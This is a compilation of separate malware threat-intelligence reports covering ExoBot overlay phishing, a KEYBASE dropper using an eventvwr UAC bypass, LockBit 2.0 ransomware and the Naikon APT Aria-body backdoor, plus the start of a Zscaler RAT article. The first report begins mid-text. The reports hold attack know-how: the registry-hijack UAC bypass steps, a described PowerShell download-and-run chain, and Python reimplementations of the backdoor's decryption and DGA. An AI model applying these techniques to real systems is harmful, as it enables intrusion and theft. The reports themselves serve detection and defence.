Overlay malware has been around for a while, but the method became popular when GM Bot started commercializing it in the underground. Ever since GM Bot, various Android banking Trojans use the overlay tactic, implementing its use in different ways.
In ExoBot’s case, the overlay screen pop-up takes place by detecting the foreground app and then displaying a custom webpage activity to match that app. In the case of banks, cryptocurrency exchanges, payment, and shopping apps, the fake screen will match their login screens.
To begin, ExoBot gets its target list from the C&C server. The malware scans all the files found under the /proc virtual filesystem to map all running processes the user initiated. It does not scan apps and processes users cannot launch themselves.
At startup, services of the Android operating system run in the bg_non_interactive state. This state means that the service is at low priority at the time and cannot use more than 5 percent of the CPU. To determine if an app of interest is running in the foreground, the malware checks if the app’s process ID (PID) is not in the noninteractive state list.
If a targeted app is running in the foreground, ExoBot will pop up a new activity on top of the original app, covering it and prioritizing the fake screen. In the overlay, a custom webpage impersonates the login interface of the original app to phish the victim’s credentials.
### Persistent Credit Card Requests
On top of targeting banking and other financial applications, social and chat apps, ExoBot possesses a module designed to steal payment card information. This module is tasked with frequent pop-ups of fake screens that require victims to tap their payment card details into the activity. The lure is set up as a notification from Google Play or from other services for Android-based devices.
## Mobile Malware Continues to Evolve
ExoBot’s code leak is just another leak among others that provide cybercriminals with a basis for malware that they can adapt to their own illicit operations and attacks. With this code leak, X-Force researchers expect to see ExoBot offspring in the coming months, as well as new actors who will use it in different geographies to target local banks through their mobile banking user base.
To mitigate the threat of mobile malware, organizations can help protect their apps with IBM Trusteer. Those managing employee mobile devices can learn more about IBM’s unified endpoint management (UEM) solution, MaaS360.
Although we worked directly with the source code, here are some recent ExoBot samples for those looking to analyze this version:
- 42751858e99b7add2f4ac9e00e348d40
- 285197e39072bda563ccebc0fba78648
- 80b5821c7f1649b176381efaadb90f68
- f1ad35e91b45b5375e08666b39ca791b
- 3ff9fadb87812571f799a35c13d8490c
Our team also manages and updates an ExoBot collection on X-Force Exchange.
**Shahar Tavor**
Mobile Security Researcher, IBM
Mobile security researcher at IBM Security Trusteer group. Shahar is passionate about malware research, mobile security, reverse engineering, and Android integration. |
# Malicious Office Files Using Fileless UAC Bypass to Drop KEYBASE Malware
This is a "Guest Diary" submitted by Ismael Valenzuela and Marc Rivero. Interested in writing a guest diary? Let us know via our contact page.
Macro-based malware that hides in Microsoft Word or Excel documents is nothing new to Incident Responders and Malware Analysts. However, something that caught our attention in the last few days was the use of a 'fileless' method to bypass UAC implemented in a malicious Excel file. This method leverages `eventvwr.exe` and was described in detail by the Enigma0x3 team.
Bypassing UAC is nothing new either (see the UACME project created by hfiref0x). In fact, a few days ago we knew of a new Dridex sample that attempts to bypass UAC by using application compatibility databases. What is most interesting about the method described by the Enigma0x3 team, however, is that it doesn't require any kind of privileged file copy, code injection, or placing a DLL anywhere on the disk.
This particular Excel file employs this UAC bypass method to download and execute a malicious binary that is part of a well-known data-stealing family called KEYBASE.
**SHA256 HASH:** e431bc1bacde51fd39a10f418c26487561fe7c3abee15395314d9d4e621cc38e
KEYBASE is primarily a keylogger with some other additional capabilities that are commonly found in other non-sophisticated Trojans such as password stealing, clipboard copying, etc.
To understand how this sample behaves and have a look at its capabilities we can use a popular free online resource like "Hybrid Analysis" from Payload Security. Looking at the process list details we can observe what specific processes were spawned when opening the Excel file, along with command line arguments.
While the output is pretty self-explanatory, let's dive a bit deeper and explain what's going on there:
- The embedded macro starts a hidden instance of `PowerShell.exe` (via `cmd.exe`) which downloads a file (`mi.exe`) from a remote server (`ridart.ru`), storing it in the `%TEMP%` folder as `pu457.exe`.
- A registry key is added under `HKCU\Software\Classes\mscfile\shell\open\command` pointing to the binary downloaded.
- Finally, the PowerShell command invokes `EventViewer.exe`, which will successfully query/open `HKCU\Software\Classes\mscfile\shell\open\command` and execute the malicious file that the registry key points to.
In case you are wondering, `PING -n 15 127.0.0.1` does nothing else but sending 15 ICMP echo request packets to the IPv4 localhost address, which is just an alternative way to implement the "sleep" command, in an attempt to evade sandbox detection.
The sequence of events described above will ultimately result in code execution in a high integrity process, effectively bypassing UAC!
As expected, there is an HTTP connection to `ridart.ru` to download an additional binary (`mi.exe`).
The static analysis performed on `pu457.exe` helps us to confirm the capabilities of this Portable Executable:
- Ability to retrieve keyboard strokes
- Contains ability to query volume size
- Contains ability to open the clipboard
Finally, using these IOCs found during our investigation, we can leverage Virustotal to check the reputation of this site and pivot to associated URLs, domains, and other related samples. If you check the IP's on the network traffic on Hybrid Analysis, you can extract more malicious information related.
As the Enigma0x3 team reminds us, this method to bypass UAC is expected to work on all versions of Windows that implement UAC, including Windows 10, but can be prevented by removing the current user from the Local Administrators group, which is something that you should do anyways!
From a monitoring perspective, it's recommended to monitor and alert on any new registry entries in `HKCU\Software\Classes`, something that can be easily implemented with the latest version of Microsoft's Sysmon.
Further references:
- Full report in Hybrid Analysis
- `pu457.exe` on Virustotal
- Information on Keybase
Ismael Valenzuela, GSE #132 (@aboutsecurity)
SANS Instructor & Global Director, Foundstone Services at Intel Security
Marc Rivero @seifreed
Head of Research, Payload Security |
# LockBit 2.0: Ransomware Attacks Surge After Successful Affiliate Recruitment
After a brief slowdown in activity from the LockBit ransomware gang following increased attention from law enforcement, LockBit is back with a new affiliate program, improved payloads, and a change in infrastructure. According to IBM X-Force, a major spike in data leak activity on the gang’s new website indicates that their recruitment attempts have been successful. IBM’s data shows that LockBit is nearly six times more active than other groups, such as the Conti ransomware operators. This blog post delves into LockBit’s 2.0 version, its recent activity, and an analysis of the new payloads.
LockBit is a ransomware-as-a-service (RaaS) gang that writes and distributes its malware through affiliates. RaaS has become an increasingly popular business model for ransomware operators in the past few years, helping gangs expand their reach without growing their core team or their expenses. These groups are able to make a profit while turning over the actual deployment of their ransomware payloads to affiliates, who also shoulder part of the risk of being exposed by law enforcement.
## Announcing LockBit 2.0
The LockBit gang was first found advertising their affiliate program in January 2020 on a well-known, Russian-speaking forum known as XSS. This underground forum has been used by many RaaS gangs in the past to advertise their malware and hunt for new affiliates. That includes gangs like REvil/Sodinokibi, DarkSide, Netwalker, and others. But with increased attention from law enforcement, XSS banned all ransomware topics from their forum in early 2021.
With this avenue shut down, LockBit’s owners pivoted to using their own infrastructure for advertising. At the end of June 2021, those behind LockBit posted a page on their leak site (bigblog[.]at) announcing recruitment for their LockBit 2.0 affiliate program.
According to their post, the affiliate is responsible for gaining access to “the core server,” likely referring to a domain controller, and then the rest will be carried out by the LockBit payload. The group mentions their payload does not operate in Russian-language speaking countries and specifies that they will only work with experienced penetration testers. Additionally, the group claims their ransomware is faster than any other ransomware families and includes a table for comparing supposed encryption speeds against other prolific ransomware codes. The affiliate also gets to decide the ransom amount and will receive the payment directly, sending the LockBit gang’s cut of the profit after the ransom is paid.
To facilitate extortion if a victim refuses to pay for a decryption key, LockBit also includes access to an information stealer they call StealBit, which allegedly exfiltrates files from victim networks to the LockBit blog. This malware is also touted as a high-speed uploader, which is supposed to reassure affiliates that their operation will be swift.
## A Spike in Victims’ Data Exposure
Prior to the announcement of LockBit 2.0’s affiliate program, the last dark web leak from the gang appears to have been published on December 30, 2020. Posting activity resumed approximately seven months later on July 21, 2021, shortly after new recruitment attempts began, with about 76 new posts published within a six-day period.
Looking at other ransomware families’ leak sites in the three-week period since LockBit’s return (7/21/2021-8/11/2021), LockBit appears to be currently operating one of the most active ransomware leak sites.
With regards to victims, IBM X-Force identified several industries and geographies being impacted by LockBit and its affiliates. While a few regions and industries have multiple victims involved, IBM was unable to identify any clear targeting patterns. Each LockBit affiliate likely has its own choices of targeting, which may be targeted or opportunistic. Given the timing of the new affiliate program being advertised and the spike in activity, IBM X-Force suspects that LockBit was able to recruit affiliates who had already begun compromising networks.
## New Infrastructure
LockBit’s use of a data leak site first appeared in September 2020. Their leak sites and support sites (where victims can purchase a decryptor) are offered at both surface and dark web addresses. Along with the observed uptick in activity, IBM researchers discovered the use of newly registered infrastructure for these sites.
LockBit’s primary blog that publishes victim data and advertises its affiliate program is currently being hosted on the clear web at bigblog[.]at. Whois information for this domain indicates that LockBit registered the domain on July 6, 2021. Pivoting off the unique registrant email reveals that their new clear web decryptor site, decoding[.]at, was also registered on the same date.
IBM X-Force was able to uncover the domain locksupp[.]at, which was leveraging the same name servers as decoding[.]at. Whois and nameserver history indicates that this domain was in use around June 6, 2021, but it appears it was suspended by June 29, 2021. It is not currently reachable and its purpose is unknown at this time.
## New Samples
X-Force identified over a dozen new submissions of LockBit samples to VirusTotal occurring since the launch of the LockBit 2.0 affiliate program. Analysis was performed on several of these samples to determine any changes in these new variants.
Much of LockBit’s functionality remains the same in version 2.0, with a similar encryption routine. A hybrid AES/RSA encryption approach is still used. The two minor updates are the renaming of the registry key in which the RSA public session key is stored and the creation of a file used as a mutex while files are being encrypted. Additionally, the registry run key used for persistence is now a GUID-type string instead of an alpha-numeric string.
On top of these minor changes, two major additions were discovered: the addition of a new deployment technique and the physical printing of ransom notes.
### Active Directory Deployment
One of the most significant changes identified during the analysis was the implementation of a novel technique for deployment. The payload has the capability to automatically deploy itself to Microsoft Active Directory clients via Group Policy Objects (GPO). When executed on an Active Directory Domain Controller, LockBit 2.0 creates several GPOs to carry out the infection process. The Windows Defender configuration is altered to avoid detection. It refreshes network shares, stops certain services, and kills processes. The LockBit executable is then copied into the client desktop directories and executed. PowerShell is used to apply the new GPOs to all domain-joined hosts in a specified organization unit (OU).
### Ransom Note
The following is an example of the ransom note left behind after files are encrypted:
Another interesting addition to the extortion techniques is a new LockBit functionality to repeatedly print the ransom note to any printers connected to the victim host.
## A Growing Threat to Watch For
LockBit does not appear to be slowing down, with regular leaks being published daily since the launch of their 2.0 affiliate program. It is likely that the ransomware payload will also continue to evolve and expand its capabilities. This ransomware group and the many others currently operating in the threat landscape present a major threat to organizations in all industries and geographies, except those in the Commonwealth of Independent States (CIS) countries where most malware operators avoid attacking local organizations.
Organizations should prioritize protecting their networks and data from this threat or risk joining the growing list of victims of RaaS affiliates. The following are a few actions companies can take that can help mitigate risks and minimize damage:
- Establish and drill an incident response team. Whether in-house or as a retained service, the formation of an incident response team and drilling the most relevant attack scenarios can make a big difference in attack outcomes and costs.
- Establish and maintain offline backups. Ensure you have files safely stored from attacker accessibility with read-only access. Also, consider the use of offsite/cold storage solutions. The availability of backup files is a significant differentiator for organizations that can help them recover from a ransomware attack.
- Implement a strategy to prevent unauthorized data theft, especially as it applies to uploading large amounts of data to legitimate cloud storage platforms that attackers can abuse. Consider blocking outbound traffic to unapproved cloud hosting services.
- Employ user and entity behavior analytics to identify potential security incidents. When triggered, assume a breach has taken place. Audit, monitor, and quickly act on suspected abuse related to privileged accounts and groups.
- Deploy multifactor authentication on all remote access points into an enterprise network — with particular care given to secure or disable remote desktop protocol (RDP) access. Multiple ransomware attacks have been known to exploit weak RDP access to gain initial entry into a targeted network.
- Use penetration testing to identify weak points in enterprise networks and vulnerabilities that should be prioritized for patching. In particular, we recommend implementing mitigations for CVE-2019-19781, which multiple threat actors have used to gain initial entry into enterprises in 2020 and 2021 — including for ransomware attacks.
- Consider prioritizing the immediate remediation, as applicable, of the following frequently exploited software vulnerabilities:
- CVE-2019-2725
- CVE-2020-2021
- CVE-2020-5902
- CVE-2018-8453
- VPN-related CVEs
- CVE-2019-11510
- CVE-2019-11539
- CVE-2018-13379
- CVE-2019-18935
- CVE-2021-22893
- Restrict port access on TCP port 3389.
- Apply multifactor authentication to remote access logins.
- Remediate RDP vulnerabilities such as Windows RDP CVE-2019-0708 (BlueKeep), CVE-2020-3427, CVE-2020-0610, CVE-2020-0609.
- Segment networks according to the data they host.
- Encrypt the data most likely to be stolen in an attack.
- Consider adopting a zero trust approach and framework to better control what users can access and potentially halt an attack in its tracks.
If you are experiencing cybersecurity issues or an incident, contact X-Force for assistance:
U.S. Hotline: 1-888-241-9812 | Global Hotline: +(001) 312-212-8034. Learn more about X-Force’s threat intelligence and incident response services.
## Indicators of Compromise
**SHA256 Hashes**
- 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8
- 0545f842ca2eb77bcac0fd17d6d0a8c607d7dbc8669709f3096e5c1828e1c049
- 2ba9fab56458fe832afecf56aae37ff89a8b9a494f3c2570d067d271d3b97045
- 4de287e0b05e138ab942d71d1d4d2ad5fb7d46a336a446f619091bdace4f2d0a
- 743ecc953dcd83a48140c82d8a7dcac1af28e0839aed16628ddfc9454bec8dfa
- 8155c6bea7c1112f022e9c70279df6759679295bd4d733f35b6eea6a97d3598f
- 856d5253f68bebcba161bc8f8393f34c806717faa6297c669c75fb13b17f8d03
- 9bca4fe6069de655467e59929325421b93617bccfdf23e9fba02615d36d60881
- a98ffa66c07f634d19dc014bb2d63fa808d7af5dc9fb9b33aa19a8b944608816
- acad2d9b291b5a9662aa1469f96995dc547a45e391af9c7fa24f5921b0128b2c
- b3faf5d8cbc3c75d4c3897851fdaf8d7a4bd774966b4c25e0e4617546109aed5
- dd8fe3966ab4d2d6215c63b3ac7abf4673d9c19f2d9f35a6bf247922c642ec2d
- ea028ec3efaab9a3ce49379fef714bef0b120661dcbb55fcfab5c4f720598477
- f32e9fb8b1ea73f0a71f3edaebb7f2b242e72d2a4826d6b2744ad3d830671202
- f3e891a2a39dd948cd85e1c8335a83e640d0987dbd48c16001a02f6b7c1733ae
**Megan Roddie**
Cyber Threat Researcher - IBM X-Force IRIS
Megan Roddie is a Cyber Threat Researcher with IBM's X-Force IRIS. She has a M.S. in Digital Forensics along with several industry Digital Forensics and Incident Response certifications. |
# Naikon APT: Cyber Espionage Reloaded
## Introduction
Recently Check Point Research discovered new evidence of an ongoing cyber espionage operation against several national government entities in the Asia Pacific (APAC) region. This operation, which we were able to attribute to the Naikon APT group, used a new backdoor named Aria-body to take control of the victims’ networks. In 2015, an extensive report by ThreatConnect and Defense Group revealed the APT group’s infrastructure and even exposed one of the group’s members. Since this report, no new evidence has come to light of further activity by the group, suggesting that they had either gone silent, increased their emphasis on stealth, or drastically changed their methodology of operations. That is, until now.
In the following report, we will describe the tactics, techniques, procedures, and infrastructure that have been used by the Naikon APT group over the 5 years since the last report, and offer some insight into how they were able to remain under the radar.
## Targeting
By comparing with previously reported activity, we can conclude that the Naikon APT group has been persistently targeting the same region in the last decade. In operations following the original 2015 report, we have observed the use of a backdoor named Aria-body against several national governments, including Australia, Indonesia, the Philippines, Vietnam, Thailand, Myanmar, and Brunei.
The targeted government entities include ministries of foreign affairs, science and technology ministries, as well as government-owned companies. Interestingly, the group has been observed expanding its footholds on the various governments within APAC by launching attacks from one government entity that has already been breached, to try and infect another. In one case, a foreign embassy unknowingly sent malware-infected documents to the government of its host country, showing how the hackers are exploiting trusted, known contacts and using them to infiltrate new organizations and extend their espionage network.
Given the characteristics of the victims and capabilities presented by the group, it is evident that the group’s purpose is to gather intelligence and spy on the countries whose governments it has targeted. This includes not only locating and collecting specific documents from infected computers and networks within government departments, but also extracting data from removable drives, taking screenshots and keylogging, and of course harvesting the stolen data for espionage. To evade detection when accessing remote servers through sensitive governmental networks, the group compromised and used servers within the infected ministries as command and control servers to collect, relay, and route the stolen data.
## Infection Chains
Throughout our research, we witnessed several different infection chains being used to deliver the Aria-body backdoor. Our investigation started when we observed a malicious email sent from a government embassy in APAC to an Australian state government, named The Indians Way.doc. This RTF file, which was infected with the RoyalRoad exploit builder, drops a loader named intel.wll into the target PC’s Word startup folder. The loader in turn tries to download and execute the next stage payload from spool.jtjewifyn[.]com. This is not the first time we have encountered this version of the RoyalRoad malware which drops a filename named intel.wll – the Vicious Panda APT group, whose activities we reviewed in March 2020, utilizes a very similar variant.
Overall, during our investigation we observed several different infection methods:
- An RTF file utilizing the RoyalRoad weaponizer.
- Archive files that contain a legitimate executable and a malicious DLL, to be used in a DLL hijacking technique, taking advantage of legitimate executables such as Outlook and Avast proxy, to load a malicious DLL.
- Directly via an executable file, which serves as a loader.
## Infrastructure
In recent operations, the attackers used the same hosting and DNS services for most of their C&C servers: GoDaddy as the registrar and Alibaba for hosting the infrastructure. On several occasions, the attackers even reused the same IP address with more than one domain.
In order to get a clearer picture of how the attackers operated their infrastructure throughout the years, we have plotted the various malicious domains, according to the ASN they were hosted on, based on periodic passive DNS information. The results are presented in the figure below:
### Observations:
- Several domains were utilized for a very long time.
- Multiple domains jumped to the same new ASN within a short time frame.
- Since 2019, most of the infrastructure has been concentrated on ASN 45102 (Alibaba).
- In some occasions, the attackers would change the IP address/server, on the same ASN.
In addition, one of the more interesting infrastructure properties we observed is the possible use of hacked government infrastructures as C&C servers. In one of the samples we analyzed, outllib.dll, there is a backup C&C server which is configured as 202.90.141[.]25 – an IP which belongs to the Philippines department of science and technology.
## Tool Analysis
In the following section, we will dive into the technical analysis of the Aria-body backdoor, utilized throughout the observed activity, as well as an analysis of the loader executable that comes before it. Utilizing the loader at an early stage of an infection allows the attackers to establish a persistent presence on the target’s network, as well as perform basic reconnaissance, before using their more advanced tools. While we observed Aria-body backdoor variants being compiled as early as 2018, we have observed Aria-body’s loaders going back to 2017.
### Loader Analysis
The functionality of the Aria-body loader has not changed significantly since 2017, but the implementation varied from version to version. This loader appears to be specifically created for the Aria-body backdoor. Overall, the loader is responsible for the following tasks:
1. Establish persistence via the Startup folder or the Run registry key (some variants).
2. Inject itself to another process such as rundll32.exe and dllhost.exe (some variants).
3. Decrypt two blobs: Import Table and the loader configuration.
4. Utilize a DGA algorithm if required.
5. Contact the embedded/calculated C&C address in order to retrieve the next stage payload.
6. Decrypt the received payload DLL (Aria-body backdoor).
7. Load and execute an exported function of the DLL – calculated using djb2 hashing algorithm.
### Loader: Configuration & DGA
The loader configuration comes encrypted and contains the following information: C&C domain, port, user-agent, and a seed for the Domain Generation Algorithm (DGA). In case the seed is not zero, the loader uses a DGA method to generate its C&C domain, based on the seed and the calendar day of the communication. The configuration of the loader is decrypted using the following algorithm:
```python
def decrypt_buf(buf):
k = 8
j = 5
for i in range(len(buf)):
xor_byte = (k + j) % 0xff
buf[i] = buf[i] ^ xor_byte
j = k
k = xor_byte
```
### Loader: C&C Communication
After getting the C&C domain, the loader contacts it to download the next and final stage of the infection chain. Although it sounds simple, the attackers operate the C&C server in a limited daily window, going online only for a few hours each day, making it harder to gain access to the advanced parts of the infection chain.
### Loader: Next stage payload
At the next and final stage of the loader, the downloaded RAT is decrypted using a single byte XOR key, received from the C&C. Once the RAT’s DLL is downloaded and decrypted, the DLL is loaded into the memory. The loader will then check the exported function against a hardcoded djb2 hash value and will call it upon a match.
## Aria-body RAT analysis
The downloaded payload is a custom RAT dubbed Aria-body, based on the name given by the authors: aria-body-dllX86.dll. Although the below analysis is of the 32bit variant malware, we have observed a 64bit variant as well, with similar functionality.
The RAT includes rather common capabilities of a backdoor, including:
- Create/Delete Files/Directories
- Take a screenshot
- Search file
- Launch files using ShellExecute
- Enumerate process loaded modules
- Gather files’ metadata
- Gather TCP and UDP table status listing
- Close a TCP session
- Collect OS information
- Verify location using checkip.amazonaws.com
- (Optional) Inter-process pipe based communication
Some of Aria-body variations also included other modules such as:
- USB data gathering module
- Keylogger module to collect raw input device-based keystrokes – added by February 2018
- Reverse socks proxy module – added by February 2018
- Loading extensions module – added by December 2019
All the supported functionality of the backdoor is described in the table of Appendix A.
## Unique Characteristics
In the following section, we go over some of the techniques by which the backdoor was implemented, and highlight the characteristics that might help other researchers recognize this backdoor and correlate it with other samples.
### Initialization
As previously mentioned, the backdoor contains an exported function, which the previous loader calls after loading the payload into the memory. Upon executing the backdoor, it initializes a struct named MyDerived and several structs used for HTTP and TCP connection.
### Information Gathering
Aria-body starts with gathering data on the victim’s machine, including:
- Host-name
- Computer-name
- Username
- Domain name
- Windows version
- Processor ~MHz
- MachineGuid
- 64bit or not
- Public IP (using checkip.amazonaws.com)
This data is gathered into an information structure which the RAT zips with an 8 bytes random generated password, which is then XORed with one byte.
### C&C Communication
The communication to the C&C server is available by either HTTP or TCP protocols. The malware decides which protocol to use by a flag in the configuration of the loader. The collected data is sent to the C&C domain along with the XORed password, and the XOR key in the following format:
Whether the message is sent by TCP or HTTP, the payload format is the same. However, when HTTP is selected, the following GET request format is used:
```
https://%s:%d/list.html?q=<random string>
```
After the initial request to the C&C server, the backdoor then keeps listening to additional commands from the server. When a command is received, it is matched against a list of commands and executed accordingly. A full list of supported commands is available in Appendix A.
## The Outlook DLL Variant
During our research, we have found another, quite a unique variant of Aria-body, uploaded to VirusTotal from the Philippines. This variant’s DLL was named outllib.dll, and it was part of a RAR archive named Office.rar. It utilized a DLL side-loading technique, abusing an old Outlook executable.
What was unusual in this variant was the fact that there has no loader as part of the infection chain, unlike all the other versions of Aria-body. As a result, it did not get any configuration from the loader and included hardcoded configuration within it.
The payload has two different C&C domains:
- blog.toptogear[.]com – which it gets by XORing an encrypted string with the byte 0x15.
- 202.90.141[.]25 – an IP associated with a Philippine government website, which is being used in case that the first C&C domain cannot be resolved.
This variant also has some extra features that the main variant of Aria-body does not include, such as a USB-monitor module. On the other hand, this variant is missing the keylogger component and the reverse-socks module, observed with the main Aria-body variants. This evidence suggests that this is an out of scope variant of the backdoor, tailored for a specific operation.
Moreover, we have seen that Aria-body’s main variant has a version that was compiled sometime after outlib.dll variant was, and some strings within this variant could suggest that it was a test variant of this special version.
Finally, this version of Aria-body includes the following string:
“TEST” string as part of the connection struct of “outllib.dll” with the “ar” in “arn” possibly standing for “Aria”.
## Attribution
We were able to attribute our campaign to the Naikon APT group using several similarities we observed to the previously disclosed information about Naikon’s activity by Kaspersky in 2015. In this original operation, the Naikon APT group utilized a backdoor against different government institutions in APAC.
Going forward, we will refer to the backdoor analyzed by Kaspersky as XsFunction due to PDB path found in one of its samples: g:\MyProjects\xsFunction\Release\DLL.pdb. XsFunction is a full-featured backdoor which supports 48 different commands. It allows the attacker to gain full control on the victim computer, perform file and process operations, shell commands execution, as well as to upload and download data and additional plugins.
We were able to find several similarities to previous operations (besides the obvious overlap in targeting), as well as specific similarities to the XsFunction backdoor.
### String Similarity
Aria-body backdoor has several debug strings that describe the functionality of the malware. Some of these exact debug strings can also be found in the XsFunction backdoor.
### Hashing Function Similarity
Both XsFunction and Aria-body loaders utilize the same hashing algorithm djb2 to find which exported function should be run. In XsFunction the name of that function is XS02 and in Aria-body it is AzManager.
### Code Similarity
Some functions in the Aria-body backdoor are identical to functions used in the old XsFunction backdoor. One example is the function which gathers information about the installed software on the PC.
### Infrastructure overlap
Four of our C&C servers shared IPs with mopo3[.]net domain, this domain resolves to the same IP as the domain mentioned in Kaspersky’s report: myanmartech.vicp[.]net.
## Conclusion
In this campaign, we uncovered the latest iteration of what seems to be a long-running Chinese-based operation against various government entities in APAC. This specific campaign leveraged both common toolsets like RoyalRoad RTF weaponizer, as well as a specially crafted backdoor named Aria-body.
While the Naikon APT group has kept under the radar for the past 5 years, it appears that they have not been idle. In fact, quite the opposite. By utilizing new server infrastructure, ever-changing loader variants, in-memory fileless loading, as well as a new backdoor – the Naikon APT group was able to prevent analysts from tracing their activity back to them.
Check Point SandBlast Agent protects against such APT attacks and is capable of preventing them from the very first step.
## Appendix A: Aria-body – Supported Commands
| Command ID | Sub Command ID | Description | Command (Sent from C&C) |
|------------|----------------|-------------|-------------------------|
| 0x1 | 0x0 | Gather installed software’s information | – |
| 0x2 | 0x0 | Get Disks information | – |
| 0x2 | 0x1 | File Search by name | – |
| 0x2 | 0x2 | Find Directory | – |
| 0x2 | 0x4 | Create Directory | – |
| 0x2 | 0x6 | SHFileOperation – Delete Directory | – |
| 0x2 | 0x7 | SHFileOperation – rename file | – |
| 0x2 | 0x9 | Delete File in a given path | – |
| 0x2 | 0xa | ShellExecute ‘open’ command | – |
| 0x2 | 0xb | ShellExecute ‘open’ command | – |
| 0x2 | 0xe | Create new file and write its data | – |
| 0x3 | 0x0 | Get active processes information | – |
| 0x3 | 0x2 | Terminate Process | – |
| 0x3 | 0x3 | Get loaded modules information | – |
| 0x4 | all | Unique modules command: ARN – USB monitor module | only in outlib.dll variant |
| 0x4 | all | Unique modules command: aria-body – reverse socks proxy module | Feb 2018 – not in outlib.dll |
| 0x5 | 0x0 | Get MD5 of file | – |
| 0x6 | 0x0 | Get titles of running windows | – |
| 0x6 | 0x1 | Send WM_CLOSE message to given window name | – |
| 0x7 | 0x0 | Get TCP and UDP tables | – |
| 0x7 | 0x1 | Close given TCP connection | – |
| 0x8 | 0x0 | Start keylogger | Feb 2018 – not in outlib.dll |
| 0x8 | 0x1 | Stop keylogger | Feb 2018 – not in outlib.dll |
| 0x9 | 0x0 | Inject itself into rundll32.exe – spawn module | July 2018 – not in outlib.dll |
| 0x9 | 0x1 | Inject itself into rundll32.exe with UAC | not in outlib.dll |
| 0x9 | 0x2 | Inject itself to every process except explorer.exe | not in outlib.dll |
| 0xa | 0x1 | Collect services data | Dec 2018 – not in outlib.dll |
| 0xaa | 0x1 | Load extensions | Dec 2018 – not in outlib.dll |
| 0xaa | 0x2 | ‘runas’ with given process | – |
| 0xaa | 0x3 | Zip-Directory | – |
| 0xaa | 0x4 | Create Process and inject itself into it. | – |
| 0xaa | 0x5 | UAC method (duplicate token from ntprint.exe) | – |
| 0xaa | 0x6 | Send screenshot | – |
| 0xaa | 0x7 | Send command to given extension | Dec 2018 – not in outlib.dll |
| 0xaa | 0x9 | Destruction method | Dec 2018 – not in outlib.dll |
## Appendix B: DGA method
```python
def DGA_method(seed_value):
domain = ""
tld = [".com", ".org", ".info"]
ta = time.localtime(time.time())
temp1 = math_s(ta.tm_year)
temp2 = math_s(dword(temp1 + ta.tm_mon + 0x11FDA))
temp3 = math_s(dword(temp2 + ta.tm_mday))
temp4 = math_s(dword(seed_value + temp3))
temp5 = math_s(dword(temp4 + 9))
length = (temp5 % 0xe) + 8
if length > 0:
for i in range(length):
temp6 = math_s(i + temp5)
domain += chr((temp6 % 0x1a) + 0x61)
temp5 = math_s(dword(temp6 + 0xcdcdef))
domain += tld[temp6 % 3]
print(domain)
```
## Appendix C: IOC list
### Delivery:
| MD5 | SHA-1 | SHA-256 |
|-----|-------|---------|
| f9d71f32de83f9ecfdc77801a71da7bf | 560423901a74605 | d6841b2a82904efc52c6b0b9375dd3aa70de360c9f60534163135833 |
| 08428c94f45fb8f568a4a288778dfb7 | 00934d22f | 7df5442e5c334eb81a2f871623fcbed859148223ef2cb0e628d02190d |
| 5e37131cb | c0c39b4ffe6fa7f | 6a8f59ad46ad22f272d5617e8d8102abd5b162e3e9a9cc5dfb2f46ac |
### Aria-body loaders – 32bit
- e9a23e084eb8cf95b70cde3afc94534b
- 96a918b4e54090c0294470c872c1b2075af1a8
- 8561fa029f2158dc9932deee61febdac
- 31a4400789ae43b255464481320baa9e
- 32b1916abff8bf0e7c51a2584c472451
- c2dc85559686575c268c8e97205b7578
- b779742b94b9265338c9b21f0cc88ba4
- ca3d5f02f453455f2b5522b8dceca658
- bd1ef60ee835dd996ddcf4f22adaa142
- 1dd0e12a886f3d1bded6e26f53592720
- 07f724bdc662518ce6eac0ca723c929f
- dde75e82b665fc7d47cd870dae2db302
- 20cdf05867967642742d6b947ba71284
- 9b0cb194dd5e49ab6fbf490de42e6938
- b8292fe24db8f86b11e6bf303c5f3ac5
- 357a9f8268438d487303b267b26bde65
- 40c49ecbe1b7bd0dbb935138661b6ca4
- 85e5d261c810e13e781f24505bb265ce
- 77ea1eb5f6fd2605454764cd9b7ef62e
- ab260f3dc1ead01dfc6b7139d1eb983c
### Aria-body loaders – 64bit
- b65e38b86bd048638e17487a9cc181
- 6fbd039cbdf2137a64390b80ba473949a3d
- 9033c75777e32c4014914272f7
### Aria-body payload
- 2ce4d68a120d76e703298f27073e1682
- a84bde7bd58616e6f20ba106ca6ef138e8cb6904
- a8ee5b59d255a13172ec4704915a048b
- 48d4fe2ca8e4d71eaa8dead6bae629de47ef77a7
- e4f097ff8ce8877a6527170af955fc9b
- 4e76ad95cbfea448cb177c2de9c272141c11b8
### Outlib.dll
- 63d64cd53f6da3fd6c5065b2902a0162
- 09690a61e52716199f0e40b94e5e4ccbf94c94843dd1e
- 10a32efd
- c91e756d0a6dc1e
- f2a9512b026cef082e1
### C&C Servers
- realteks.gjdredj[.]com
- spool.jtjewifyn[.]com
- blog.toptogear[.]com
- mon-enews[.]com
- wdrfjkg129[.]com
- n91t78dxr3[.]com
- kyawtun119[.]com
- www.ajtkgygth[.]com
- news.nyhedmgtxck[.]com
- dathktdga[.]com
- www.rrgwmmwgk[.]com
- dns.jmrmfitym[.]com
- www.kyemtyjah[.]com
- rad.geewkmy[.]com
- cpc.mashresearchb[.]com
- www.qisxnikm[.]com
- dns.seekvibega[.]com
- sugano.trictalmk[.]com
- bbs.forcejoyt[.]com |
# Analysis of Top Non-HTTP/S Threats
Adversaries generally use standard application layer protocols for communication between malware and command and control (C&C) servers. This is for several reasons: first, malicious traffic blends in more easily with legitimate traffic on standard protocols like HTTP/S; second, companies that rely on appliances for security often don’t inspect all SSL/TLS encrypted traffic as it is extremely resource-intensive to do so.
However, the massive growth of SSL attacks – 260% higher in 2020 compared to 2019 – has turned many security teams’ attention to these encrypted channels. For those that do inspect their encrypted traffic, modern network security proxies, gateways, and firewalls are evolved enough to conveniently parse application protocols and strip the SSL layer to scan the underlying data. By knowing the protocol, scan engines using heuristics or machine-learning techniques can more easily differentiate between malicious and legitimate traffic, giving security teams an advantage.
These trends have led some adversaries to turn to custom protocols. Although custom protocols for malicious communication are nothing new, almost one-third of prevalent malware families we recently analyzed support communication over non-HTTP/S protocols. Almost all of these malware families are Remote Access Trojans (RATs) and are found all over, from campaigns of mass infection to highly targeted attacks.
In this article, we dissect the custom protocols used in some of the most prevalent RATs seen in recent campaigns. At the end, we share a number of signatures and Snort rules that aid in detecting these attacks.
Below are statistical representations of traffic that Zscaler blocked for non-HTTP/S C&C communication, as well as the most active RAT families that we observed over a three-month period.
## Remcos RAT
